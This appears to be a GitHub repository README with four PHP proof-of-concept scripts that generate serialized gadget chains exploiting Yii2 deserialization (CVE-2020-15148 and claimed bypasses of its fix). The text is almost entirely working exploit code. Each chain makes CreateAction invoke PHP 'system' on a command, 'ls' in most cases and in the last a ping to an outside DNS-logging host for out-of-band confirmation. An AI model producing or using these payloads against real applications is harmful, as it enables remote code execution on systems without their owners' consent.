maskhe/cve-2020-15148-bypassesVarias evasiones sobre CVE-2020-15148 (deserialización de yii2)
Algunas bypasses de CVE-2020-15148 (deserialización de Yii2)
Esta es explotable en la versión 2.0.37; la 2.0.38 lo corrigió, y es a esta a la que se asignó CVE-2020-15148. Las tres siguientes son bypasses.
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}
// poc2
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace{
// 生成poc
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ping -c 4 123.dnslog.sicnu.tech';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace Symfony\Component\String{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class UnicodeString{
protected $string;
public function __construct()
{
$this->string = new See;
}
}
}
namespace{
use Symfony\Component\String\UnicodeString;
// 生成poc
echo base64_encode(serialize(new UnicodeString()));
}
?>
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